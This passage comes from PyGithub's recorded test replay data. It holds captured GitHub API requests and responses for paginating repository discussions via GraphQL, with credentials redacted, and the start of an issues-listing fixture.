"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T17:14:19Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6906,"watchers_count":6906,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6906,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F24:0F74:2C9F50:2D2649:66E9D392')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"id":"D_kwDOADYVqs4AbYx8","number":3044},{"id":"D_kwDOADYVqs4AbOZV","number":3033},{"id":"D_kwDOADYVqs4AaHoG","number":2993},{"id":"D_kwDOADYVqs4APEfM","number":2205},{"id":"D_kwDOADYVqs4AYpFV","number":2938},{"id":"D_kwDOADYVqs4AaOPh","number":2997},{"id":"D_kwDOADYVqs4AaEL9","number":2991},{"id":"D_kwDOADYVqs4AY1Qr","number":2953},{"id":"D_kwDOADYVqs4AYqi6","number":2943},{"id":"D_kwDOADYVqs4AYLcF","number":2916},{"id":"D_kwDOADYVqs4AX7h-","number":2909},{"id":"D_kwDOADYVqs4AXfgf","number":2889},{"id":"D_kwDOADYVqs4AWoET","number":2852},{"id":"D_kwDOADYVqs4AWfTk","number":2849},{"id":"D_kwDOADYVqs4AWN90","number":2814},{"id":"D_kwDOADYVqs4AV4CR","number":2795},{"id":"D_kwDOADYVqs4AVemo","number":2758},{"id":"D_kwDOADYVqs4AVJc_","number":2737},{"id":"D_kwDOADYVqs4AU_3J","number":2710},{"id":"D_kwDOADYVqs4ATVaC","number":2495},{"id":"D_kwDOADYVqs4APye2","number":2255},{"id":"D_kwDOADYVqs4AUj0g","number":2619},{"id":"D_kwDOADYVqs4AUSqN","number":2559},{"id":"D_kwDOADYVqs4AOBfB","number":2104},{"id":"D_kwDOADYVqs4AUAze","number":2539},{"id":"D_kwDOADYVqs4AOzRO","number":2177},{"id":"D_kwDOADYVqs4AS7Mv","number":2453},{"id":"D_kwDOADYVqs4ATdq2","number":2500},{"id":"D_kwDOADYVqs4ATJZD","number":2480},{"id":"D_kwDOADYVqs4AQ6mO","number":2321}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO"}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F27:2B9D7D:33AD64:344396:66E9D393')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNlQxMzoyODo1MiswMTowMM4ASrYx","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT","hasNextPage":true,"hasPreviousPage":true},"nodes":[{"id":"D_kwDOADYVqs4ASrYx","number":2438},{"id":"D_kwDOADYVqs4ARkEV","number":2368},{"id":"D_kwDOADYVqs4ARjip","number":2367},{"id":"D_kwDOADYVqs4AP-zL","number":2264},{"id":"D_kwDOADYVqs4ARbFw","number":2357},{"id":"D_kwDOADYVqs4AQ39o","number":2318},{"id":"D_kwDOADYVqs4AQvCS","number":2306},{"id":"D_kwDOADYVqs4AQsU4","number":2304},{"id":"D_kwDOADYVqs4AQkpa","number":2298},{"id":"D_kwDOADYVqs4AQbma","number":2293},{"id":"D_kwDOADYVqs4AQbDa","number":2292},{"id":"D_kwDOADYVqs4AOdu4","number":2153},{"id":"D_kwDOADYVqs4AQJZe","number":2277},{"id":"D_kwDOADYVqs4ANphT","number":2057},{"id":"D_kwDOADYVqs4APrSb","number":2246},{"id":"D_kwDOADYVqs4APqQq","number":2242},{"id":"D_kwDOADYVqs4AOz7S","number":2179},{"id":"D_kwDOADYVqs4AOw8Q","number":2173},{"id":"D_kwDOADYVqs4AOeON","number":2155},{"id":"D_kwDOADYVqs4AONXM","number":2124},{"id":"MDEwOkRpc2N1c3Npb24zNDkxNjI2","number":2013},{"id":"MDEwOkRpc2N1c3Npb24zNDU2NDg0","number":1993},{"id":"MDEwOkRpc2N1c3Npb24zNTExNTg4","number":2023},{"id":"MDEwOkRpc2N1c3Npb24zNTA0OTQ4","number":2018},{"id":"MDEwOkRpc2N1c3Npb24zNTAwNzI2","number":2015},{"id":"MDEwOkRpc2N1c3Npb24zMjQzMTgx","number":1864},{"id":"MDEwOkRpc2N1c3Npb24zMzg4NzEy","number":1964},{"id":"MDEwOkRpc2N1c3Npb243Mzc4NA==","number":1790},{"id":"MDEwOkRpc2N1c3Npb24zMzU4MDAz","number":1946},{"id":"MDEwOkRpc2N1c3Npb24zMzQ0NzIz","number":1936}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT"}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F8E:0F74:2CA274:2D2971:66E9D393')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wMy0xOFQwMzowODowMSswMTowMM4ALjaQ","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM2_Dw==","hasNextPage":false,"hasPreviousPage":true},"nodes":[{"id":"MDEwOkRpc2N1c3Npb24zMDI4NjI0","number":1848},{"id":"MDEwOkRpc2N1c3Npb24zMjI2MTI4","number":1854},{"id":"MDEwOkRpc2N1c3Npb24xNjY3ODM4","number":1819},{"id":"MDEwOkRpc2N1c3Npb240ODg4Ng==","number":1778},{"id":"MDEwOkRpc2N1c3Npb240ODkxMQ==","number":1780}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "last": 30}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F22:149128:8C2DDB:8DA7E3:66E9D393')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wOS0yNlQyMDo1ODoxOSswMjowMM4AQ39o","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM2_Dw==","hasNextPage":false,"hasPreviousPage":true},"nodes":[{"id":"D_kwDOADYVqs4AQ39o","number":2318},{"id":"D_kwDOADYVqs4AQvCS","number":2306},{"id":"D_kwDOADYVqs4AQsU4","number":2304},{"id":"D_kwDOADYVqs4AQkpa","number":2298},{"id":"D_kwDOADYVqs4AQbma","number":2293},{"id":"D_kwDOADYVqs4AQbDa","number":2292},{"id":"D_kwDOADYVqs4AOdu4","number":2153},{"id":"D_kwDOADYVqs4AQJZe","number":2277},{"id":"D_kwDOADYVqs4ANphT","number":2057},{"id":"D_kwDOADYVqs4APrSb","number":2246},{"id":"D_kwDOADYVqs4APqQq","number":2242},{"id":"D_kwDOADYVqs4AOz7S","number":2179},{"id":"D_kwDOADYVqs4AOw8Q","number":2173},{"id":"D_kwDOADYVqs4AOeON","number":2155},{"id":"D_kwDOADYVqs4AONXM","number":2124},{"id":"MDEwOkRpc2N1c3Npb24zNDkxNjI2","number":2013},{"id":"MDEwOkRpc2N1c3Npb24zNDU2NDg0","number":1993},{"id":"MDEwOkRpc2N1c3Npb24zNTExNTg4","number":2023},{"id":"MDEwOkRpc2N1c3Npb24zNTA0OTQ4","number":2018},{"id":"MDEwOkRpc2N1c3Npb24zNTAwNzI2","number":2015},{"id":"MDEwOkRpc2N1c3Npb24zMjQzMTgx","number":1864},{"id":"MDEwOkRpc2N1c3Npb24zMzg4NzEy","number":1964},{"id":"MDEwOkRpc2N1c3Npb243Mzc4NA==","number":1790},{"id":"MDEwOkRpc2N1c3Npb24zMzU4MDAz","number":1946},{"id":"MDEwOkRpc2N1c3Npb24zMzQ0NzIz","number":1936},{"id":"MDEwOkRpc2N1c3Npb24zMDI4NjI0","number":1848},{"id":"MDEwOkRpc2N1c3Npb24zMjI2MTI4","number":1854},{"id":"MDEwOkRpc2N1c3Npb24xNjY3ODM4","number":1819},{"id":"MDEwOkRpc2N1c3Npb240ODg4Ng==","number":1778},{"id":"MDEwOkRpc2N1c3Npb240ODkxMQ==","number":1780}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "last": 30, "before": "Y3Vyc29yOnYyOpK5MjAyMi0wOS0yNlQyMDo1ODoxOSswMjowMM4AQ39o"}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F3A:39A73C:90EC18:926E5B:66E9D394')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wNi0yOFQyMDowODo1MyswMjowMM4AaOPh","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0xMS0yMlQwODo0Mjo0OCswMTowMM4ARbFw","hasNextPage":true,"hasPreviousPage":true},"nodes":[{"id":"D_kwDOADYVqs4AaOPh","number":2997},{"id":"D_kwDOADYVqs4AaEL9","number":2991},{"id":"D_kwDOADYVqs4AY1Qr","number":2953},{"id":"D_kwDOADYVqs4AYqi6","number":2943},{"id":"D_kwDOADYVqs4AYLcF","number":2916},{"id":"D_kwDOADYVqs4AX7h-","number":2909},{"id":"D_kwDOADYVqs4AXfgf","number":2889},{"id":"D_kwDOADYVqs4AWoET","number":2852},{"id":"D_kwDOADYVqs4AWfTk","number":2849},{"id":"D_kwDOADYVqs4AWN90","number":2814},{"id":"D_kwDOADYVqs4AV4CR","number":2795},{"id":"D_kwDOADYVqs4AVemo","number":2758},{"id":"D_kwDOADYVqs4AVJc_","number":2737},{"id":"D_kwDOADYVqs4AU_3J","number":2710},{"id":"D_kwDOADYVqs4ATVaC","number":2495},{"id":"D_kwDOADYVqs4APye2","number":2255},{"id":"D_kwDOADYVqs4AUj0g","number":2619},{"id":"D_kwDOADYVqs4AUSqN","number":2559},{"id":"D_kwDOADYVqs4AOBfB","number":2104},{"id":"D_kwDOADYVqs4AUAze","number":2539},{"id":"D_kwDOADYVqs4AOzRO","number":2177},{"id":"D_kwDOADYVqs4AS7Mv","number":2453},{"id":"D_kwDOADYVqs4ATdq2","number":2500},{"id":"D_kwDOADYVqs4ATJZD","number":2480},{"id":"D_kwDOADYVqs4AQ6mO","number":2321},{"id":"D_kwDOADYVqs4ASrYx","number":2438},{"id":"D_kwDOADYVqs4ARkEV","number":2368},{"id":"D_kwDOADYVqs4ARjip","number":2367},{"id":"D_kwDOADYVqs4AP-zL","number":2264},{"id":"D_kwDOADYVqs4ARbFw","number":2357}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "last": 30, "before": "Y3Vyc29yOnYyOpK5MjAyNC0wNi0yOFQyMDowODo1MyswMjowMM4AaOPh"}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FB8:381690:9439A6:95B6AF:66E9D394')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOFQxNzozMjoxMiswMjowMM4AYpFV","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"id":"D_kwDOADYVqs4AbYx8","number":3044},{"id":"D_kwDOADYVqs4AbOZV","number":3033},{"id":"D_kwDOADYVqs4AaHoG","number":2993},{"id":"D_kwDOADYVqs4APEfM","number":2205},{"id":"D_kwDOADYVqs4AYpFV","number":2938}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id number }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 1, "after": null}} 200 [('Date', 'Tue, 17 Sep 2024 19:08:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FDE:34173C:353005:35C67F:66E9D395')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"id":"D_kwDOADYVqs4AbYx8","number":3044}]}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testIntIndexingAfterIteration.txt0000644000175100001660000227572314756101563027451 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate 